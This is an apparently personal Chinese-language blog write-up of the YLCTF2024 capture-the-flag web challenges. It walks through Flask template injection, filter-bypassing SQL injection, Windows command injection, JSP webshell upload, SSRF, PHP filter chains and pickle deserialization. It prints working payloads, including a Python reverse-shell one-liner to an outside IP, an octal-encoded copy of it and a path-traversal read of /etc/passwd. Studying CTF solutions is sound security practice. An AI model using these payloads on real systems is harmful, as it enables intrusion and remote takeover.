YLCTF2024
0x01 说在前面
这个比赛,新,而且确实是学到东西了
0x02 question
[Round 1] Disal
拿到源码之后就绕过就可以了
1 | |
1 | b=1333%00&a=1e6aaaaaa |
[Round 1] Injct
F12一看是个Flask,这里直接来就是说fenjing,不过没有回显,我们弹个shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("110.42.47.145",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' |
就可以了
1 | 提交表单完成,返回值为200,输入为{'name': "{%if(((cycler.next|attr(('%c'%95)*2+'globals'+('%c'%95)*2)|attr(('%c'%95)*2+'getitem'+('%c'%95)*2)(('%c'%95)*2+'builtins'+('%c'%95)*2)|attr(('%c'%95)*2+'getitem'+('%c'%95)*2)(('%c'%95)*2+'i''mport'+('%c'%95)*2))('os')|attr('p''open'))('\\160\\171\\164\\150\\157\\156\\40\\55\\143\\40\\47\\151\\155\\160\\157\\162\\164\\40\\163\\157\\143\\153\\145\\164\\54\\163\\165\\142\\160\\162\\157\\143\\145\\163\\163\\54\\157\\163\\73\\163\\75\\163\\157\\143\\153\\145\\164\\56\\163\\157\\143\\153\\145\\164\\50\\163\\157\\143\\153\\145\\164\\56\\101\\106\\137\\111\\116\\105\\124\\54\\163\\157\\143\\153\\145\\164\\56\\123\\117\\103\\113\\137\\123\\124\\122\\105\\101\\115\\51\\73\\163\\56\\143\\157\\156\\156\\145\\143\\164\\50\\50\\42\\61\\61\\60\\56\\64\\62\\56\\64\\67\\56\\61\\64\\65\\42\\54\\71\\71\\71\\71\\51\\51\\73\\157\\163\\56\\144\\165\\160\\62\\50\\163\\56\\146\\151\\154\\145\\156\\157\\50\\51\\54\\60\\51\\73\\40\\157\\163\\56\\144\\165\\160\\62\\50\\163\\56\\146\\151\\154\\145\\156\\157\\50\\51\\54\\61\\51\\73\\157\\163\\56\\144\\165\\160\\62\\50\\163\\56\\146\\151\\154\\145\\156\\157\\50\\51\\54\\62\\51\\73\\151\\155\\160\\157\\162\\164\\40\\160\\164\\171\\73\\40\\160\\164\\171\\56\\163\\160\\141\\167\\156\\50\\42\\163\\150\\42\\51\\47').read())%}{%endif%}"},表单为{'action': '/greet', 'method': 'POST', 'inputs': {'name'}} |
不过我有点奇葩的就是这个跑了好久好久
[Round 1] pExpl
序列化明天看,今天累了
1 |
|
很乱,慢慢看
1 | FileHandler::destruct->User::toString->call_user_func->Logger::call->Logger::log |
中间poc有地方写错了,改了好久
1 |
|
[Round 1] sInXx
拿到就觉得是sql注入,这里不能随便闭合,必须要写一个员工名字
很明显注入成功了,然后继续测试发现并不是那么的简单,fuzz一下
果不其然被过滤了,这里我们用其他的来替换一下
1 | search=juan79'%09and%09(1=1)# |
测了好久,终于出来了,然后,
又被过滤了我去
join
绕过,说实话没用过这个姿势,宣
1 | mysql> select * from ((select 1)a join (select 2)b join (select 3)c join (select 4)d join (select 5)e); |
1 | search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)a%09join%09(SELECT%092)b%09join%09(SELECT%093)c%09join%09(SELECT%094)d%09join%09(SELECT%095)e)# |
然后查表名,information
也被禁用了,并且这里不能写schema_name
,还都要是大写
1 | search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)%09FROM%09sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())a%09join%09(SELECT%092)b%09join%09(SELECT%093)c%09join%09(SELECT%094)d%09join%09(SELECT%095)e)# |
1 | search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09`2`%09FROM%09(SELECT%09*%09FROM%09((SELECT%091)a%09JOIN%09(SELECT%092)b)%09UNION%09SELECT%09*%09FROM%09DataSyncFLAG)p%09limit%092%09offset%091)A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)# |
好复杂慢慢看,首先就是
1 | ((SELECT 1)a JOIN (SELECT 2)b)查第一列和第二列 |
这道题真的好难写,这括号多了,无列名就是难受
[Round 1] shxpl
是一个很典型的命令切割,但是这里用的是Windows容器
1 | baidu.com&dir |
绕过一下,好奇葩,不是我说啥东西,为什么这里一个&
,后面的命令执行就要两个&
,什么东西,而且在框子里面还不行无语了
1 | domain=baidu.com%26%26dir%09/ |
过滤的挺严实的,这个通配符我也基本没怎么用过,上次用还是在buuoj刷题的时候
[Round 1] TOXEC
首先是文件上传,F12看了一下不是nginx也不是阿帕奇,那么只能是Java了?试试吧
并且测试到在重命名有个路径穿越漏洞
首先我们要覆盖web.xml
,使得木马能够被解析
1 | <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" |
再上传木马
1 | <% |
就这样,但是这个文件上传真的很新,所以我们分析一下代码吧
1 | if("023".equals(request.getParameter("pwd"))) |
[Round 1] FastDB
打fastjson的反序列化
[Round 2] Cmnts
源代码拿到get_th1s_f1ag.php
1 |
|
这里这个函数直接传就可以了
1 | key=a7a795a8efb7c30151031c2cb700ddd9 |
[Round 2] PHUPE
有附件,跟进之后拿到过滤规则
1 | public function uploadFile($file) { |
并且看到是阿帕奇,那直接上传我的独家好东西,emm发现失败了
回到文件发现使用的是Smarty 模板,学到姿势是可以上传替换tpl
文件进行命令执行,这里还需要使用八进制进行绕过
1 | 文件上传成功! |
然后发现是怎么都打不出回显
后面还专门去问了出题的师傅呜呜呜,太感谢了,继续回来看源码发现这个
1 | $name = isset($_GET['name'])? $_GET['name'] : basename($file['name']); |
那么看数据包
1 | POST /?name=../views/file_view.tpl HTTP/1.1 |
终于是看到回显了
[Round 2] RedFox
进来之后是一个简单的网站,这里随便注册了一个admin
用户进来之后发现是可以发送邮件之类的,
创建POST这里让给一个url
,很容易想到是ssrf
,先直接用file
读文件然后发现是什么都没有,访问一下图片看看
1 | POST / HTTP/1.1 |
这里我直接用浏览器访问的时候发现抓不到包果然有问题,但是读不到flag,我们去读取php文件
index.php
1 |
|
Database.php
1 |
|
User.php
1 |
|
Post.php
1 |
|
Message.php
1 |
|
然后打包成一个项目放编译器里面审计,放进去一看,就Post.php
文件有操作空间,是一个ssrf
,但是这个漏洞我们已经利用了重新看index
,发现有个东西我们没有用过
跟进之后发现是个eval
那这里就很好办了,我们打个session文件条件竞争上去,但是临时文件目录在哪里我们还要继续读
1 | file:///etc/php/7.0/apache2/php.ini |
1 | import io |
唯一注意的就是sess_baozongwi
,而且要够快不然文件就没了
[Round 2] Pseudo
文件上传2000字节,基本没希望了上传图片
这里可以直接读取文件但是要绕过一下,使用filter链绕过
1 |
|
这里使用网上的脚本上次nepCTF存下来的,哈哈谢谢橘子师傅提醒
1 | GET /download.php?file=php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/flag HTTP/1.1 |
读出来之后自己补一个大括号,我觉得官网的不好用
1 | YLCTF{8e6174ca-f2cf-4dc2-8dc4-624a325341aa} |
[Round 2] SNEKLY
看到源码发现一个反序列化
1 | from flask import Flask, render_template, request, jsonify |
使用bp打一个dnslog
1 | import base64 |
1 | YLCTF{a6e8bfab-d36b-4f53-93e7-dc30a546ea64} |
[Round 3] 404
1 | Hint: Are you looking for something? Maybe 'f12g.php' has what you need |
得到响应包
1 | HTTP/1.1 302 Found |
麻了,又是这种脚本每次我写的老慢了
1 | import requests |
这个人机是真的哈,两个url都不一样
[Round 3] PRead
非预期了直接
1 | GET /export_notes?filename=../../../etc/passwd HTTP/1.1 |
然后就是我之前写过的一篇文章,读取进程环境变量
预期解是,我们这里不是已经下载了pkl文件吗,那肯定就是一个pickle反序列化了
1 | import pickle |
但是仍然是利用这个路由去读取文件,不过这里有个小小的细节,我如果在Windows里面直接写文件的话他不解析,那么只能在Linux里面去了
1 | echo gASVJQAAAAAAAACMAm50lIwGc3lzdGVtlJOUjA1scyAvID4gL3RtcC8xlIWUUpQu|base64 -d > poc.pkl |
[Round 3] StrmD&&[Round 3] ignite
java看不了一点
- Title: YLCTF2024
- Author: baozongwi
- Created at : 2024-10-29 18:55:48
- Updated at : 2024-11-01 15:57:53
- Link: https://baozongwi.xyz/2024/10/29/YLCTF2024/
- License: This work is licensed under CC BY-NC-SA 4.0.